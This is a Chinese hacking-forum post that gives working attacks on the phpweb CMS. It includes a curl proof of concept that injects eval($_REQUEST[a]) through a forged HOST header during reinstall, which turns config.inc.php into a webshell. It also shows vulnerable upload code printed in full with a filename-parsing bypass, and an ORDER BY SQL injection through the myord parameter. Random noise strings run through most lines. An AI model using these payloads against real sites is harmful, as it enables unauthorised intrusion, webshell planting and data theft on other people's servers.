找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2371|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
) F( V1 N: \5 p; ^- o7 D5 @+ M
% G) _. R7 F5 o, Q  n6 J2 s; }% O) g之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码4 i: Y" C" G$ c! D) O
7 C/ w" P7 {( @
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件* I* S& x5 k3 U0 z( e' k! l
鸡肋2: 有一定安全常识的站长都会删掉 install 目录0 a7 e& s5 v% E# M# _( T0 G
5 ^1 C, f, v/ I  p( G# M( l
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 I1 z! ^) n4 I* D5 A
% r- r' ]0 r& P+ f7 E7 X
分析:6 Z& i1 V' ?- n( t

6 n& s5 y* h+ q$ k& e' s & V/ \7 I- y, N, p: T2 X9 }& K+ `
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤: H, U) R* k: q

. l" B7 B  I! d* Z& i0 e                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);! k" i" `1 U2 G% e: y
                                            $filestr=str_replace(" ","",$filestr);2 W9 y6 G& \: q5 L) t
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);8 c% ~4 L) L" _! S4 g6 W5 m+ r
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
5 G7 x( }4 D6 z" F, C                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; q. }: p- k1 [, {9 l2 P! [
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
( t0 C: u3 C4 w( x                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);! b5 M1 A8 M% Z4 G* B5 P0 Z( ~
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 V  X5 x7 s9 j2 c
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
6 Q. [2 t2 Z9 |5 l
- S" X0 ]: K; A& n                                            fwrite(fopen($ConFile,"w"),$filestr,30000);" p" `/ d% O$ {7 a+ N
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^, y6 w3 ]. F( h; E; X5 N* j

* j3 U" t3 p% R5 h7 epoc:
1 C4 n4 U3 Q6 K4 ~2 }- R 3 }7 \$ K' M: z: K* `( Q; _9 Y
?
  Q6 r3 F+ e- y2 M1% g# X9 m9 L9 r
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
/ k8 {8 B6 ^) j. L* j+ L( \' Kshell地址: /config.inc.php! U5 [/ M$ G0 k6 K( l: {
跟之前的 phpcms一样 需要远程数据库
5 X% w5 G& x- E6 ]' a1 I # O' ]; N- M; G
——————————————————–
$ s' `8 A0 ^  `0 X! m上传漏洞(需要进后台):9 r0 @5 v5 @5 H2 {9 ^
漏洞文件: /kedit/upload_cgi/upload.php/ @4 e6 y& j( m9 Y% u
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! g4 S5 r5 ~: H
# {% w$ ]. G: A7 ?* I5 s( f + |7 M4 M- b6 R3 R& Q1 W8 K
<?php
- s1 k' H# J" A# V/ g% L    define("ROOTPATH", "../../");+ l: j8 U, Q. o' ?5 J% i
    include(ROOTPATH."includes/admin.inc.php");
  g2 E: K) x1 o, X6 ]5 Q3 B. v" c    NeedAuth(0);
5 z; N3 m( E) F( h& S
1 a/ L: G# H: N1 ?4 V0 e    $dt=date("Ymd",time());, v- W, w4 E: d4 X; ^
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){3 x, l7 V3 e, C/ w5 U/ [( P
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
) C- }/ j# t: U& e$ S! \3 G    }
  E% C5 \: T8 S( Q% v5 [% V
; c# p1 K9 A7 A7 R/ `7 K    //文件保存目录路径; y+ H( y9 ~/ ~
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';. _' c0 ], B/ \; Q" c4 R2 h- e
    echo $save_path;7 A! j8 A! n; E# u# h) X1 ^! a
    //文件保存目录URL
3 g! l, G! Q: b8 o& j. R    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
4 n5 b/ q$ _; {  k: C
) y6 K; o# Z  m3 R' h    //定义允许上传的文件扩展名4 L% \+ F2 Q* l  A0 t" T4 a, `8 H
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
; M2 F5 F9 d' Z) X0 e. J : j1 x. n' A( H, s
    //最大文件大小
' ]% Y) `1 l1 w" b( _* N3 W5 i# S    $max_size = 1000000;: F5 w' T1 ~6 j) J7 g, ^9 b
1 M. J- {7 g  O+ L. j# T: d% [& B
    //更改目录权限
* I0 Q% W8 d" g/ g6 F: Q$ K    @mkdir($save_path, 0777);
8 Q) N/ U. y4 \" h; |8 H
2 P1 K& l, a4 t0 }( u    //文件的全部路径6 ~4 G9 e0 x  x, b5 X9 j+ O$ }
    $file_path = $save_path.$_POST['fileName'];   //保存文件名) V% n; I6 z0 n* C/ W) f
' J2 @* q6 S5 F1 Z) Q2 H+ y
    //文件URL9 u) c. {0 b6 p$ M6 L- C) x$ b1 O
    $file_url = $save_url.$_POST['fileName'];
7 Y2 `) }, G/ j7 }# N' u$ H0 e- i//有上传文件时5 C' s) Q) c6 J' W
    if (empty($_FILES) === false) {. p6 A' Y: ^. c% k4 }+ h9 `
: h+ M3 J/ l4 Y
            //原文件名, K& C3 L) n* A8 J  m
            $file_name = $_FILES['fileData']['name'];# z( n" ?9 L" n
            //服务器上临时文件名
" h, I: }- p6 a0 Q$ P! h            $tmp_name = $_FILES['fileData']['tmp_name'];, T9 O$ X% l; T# D+ A) i8 w- G; e
            //文件大小" \5 c) N* H5 G) O$ }4 W2 }
            $file_size = $_FILES['fileData']['size'];6 U5 ~. S7 F  Q0 Q/ \
            //检查目录4 f- F& ^. e2 G
            if (@is_dir($save_path) === false) {
. X7 h9 u4 |" S                    alert("上传目录不存在。");. D5 O, S) t% w& S+ P
            }
: @4 I2 g9 D9 j            //检查目录写权限
7 a1 g" U; Z" i) J            if (@is_writable($save_path) === false) {% K3 F+ R; T3 X7 [$ C, i
                    alert("上传目录没有写权限。");
8 S: `3 M" ]/ d) F: f            }( \/ r! i8 p$ v2 v
            //检查是否已上传
- e) H! y, L) D. L1 ]            if (@is_uploaded_file($tmp_name) === false) {4 V3 V, l5 e' r
                    alert("临时文件可能不是上传文件。");
" j6 N# u7 H" ?            }
9 Q/ [6 I' X0 u. g- t6 n! T            //检查文件大小
5 `0 G$ T8 ~5 v' ]% d( K7 b, n            if ($file_size > $max_size) {
. Y. @  ?8 r/ S: Q                    alert("上传文件大小超过限制。");( X* _5 a# }2 U& }& r' i2 j8 L% C
            }* U. u; M" {% k
            //获得文件扩展名& }: y* ^, x+ B3 M
            $temp_arr = explode(".", $_POST['fileName']);
% N- C5 M- ^' i+ C- q. s/ j            $file_ext = array_pop($temp_arr);1 `8 a0 Q+ x3 `( P2 O
            $file_ext = trim($file_ext);
. J! _4 p8 A' @1 z            $file_ext = strtolower($file_ext);: w4 L9 [$ s* }! _- g* y: @

5 N1 b0 r* N/ Q& w            //检查扩展名   8 E  `6 y7 a6 q# x7 N
            if (in_array($file_ext, $ext_arr) === false) {     
# Y* V; V1 M, K: E                    alert("上传文件扩展名是不允许的扩展名。");
: I9 B# y2 K, p+ F            }% m$ @, J# A! X1 b

; Z5 I5 L) _* O/ v& u            //移动文件   
! Z! g9 [$ c' V8 H; T            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
5 \# a$ L- T3 H( O" s! `            if (move_uploaded_file($tmp_name, $file_path) === false) {
; k$ N3 q* x9 d- `                    alert("上传文件失败。");
3 j/ B% K1 Q3 z$ W            }
. R; [1 U' S0 c; J4 P' D9 t 1 q+ L4 D+ L5 x' ^3 E5 R% ]% f2 N$ b
            @chmod($file_path,0666);
, Z: P6 b8 f2 R
! H9 F: y+ y2 v) a    ?>
. B% M/ n' D; I( `抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227# Q. ~& Z# |. ^9 T: d8 i. Q
( B1 A. m7 q0 y$ a% W+ r
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
( C9 d4 @# G' B' _+ T
' p- I& J' T* I# X, o' C; A——————————————————: X0 R2 Y% c; p! Q# C
注入漏洞:: O: r& N& s- Q) l
漏洞文件:search/module/search.php
9 f% i/ f- R1 c+ {8 L$ I/search/index.php?key=1&myord=1 [sqlinjection]  R  @) O% f! V

" I8 ^- v0 m& ]" D, C8 J
# Q& R/ W. D% c7 \+ G: i. K  p) s<?php! w( h0 ~+ w0 i8 t# g( z
   //       ... 省略 n 行...; {, E0 S! h  F& A
   //第18行:' x: L: a' j/ l. W) F$ E2 h6 P! M
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响& W# L: |/ N% w
           $page=htmlspecialchars($_GET["page"]);
9 i( Z8 ~0 W  E8 b5 a0 C& s8 [           $myord=htmlspecialchars($_GET["myord"]);
2 `: \2 _, D  X, L, F 8 A" x& {6 E- N! m: M
   //       ... 省略 n 行...
6 x( V5 J8 Y4 n# C   $key,$myord 两个参数带入查询
0 H& a& R& N5 y! k) P. G2 ]2 G, j   //第47行 $key:- L9 d$ G+ V* X# O  A
7 l/ O6 C* {, M/ @9 T3 v0 J
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
3 I5 b) h5 M) _$ e6 `; f) J # K# B8 t( L- S
   //第197行 $myord$ t. z7 N/ w7 }2 m2 b
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入* W9 H5 W$ r& c/ J' M$ q2 D+ {

7 u+ y4 z& l5 j! n! s. S; _* ^   ?>8 w. `0 _; u& C; R! {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表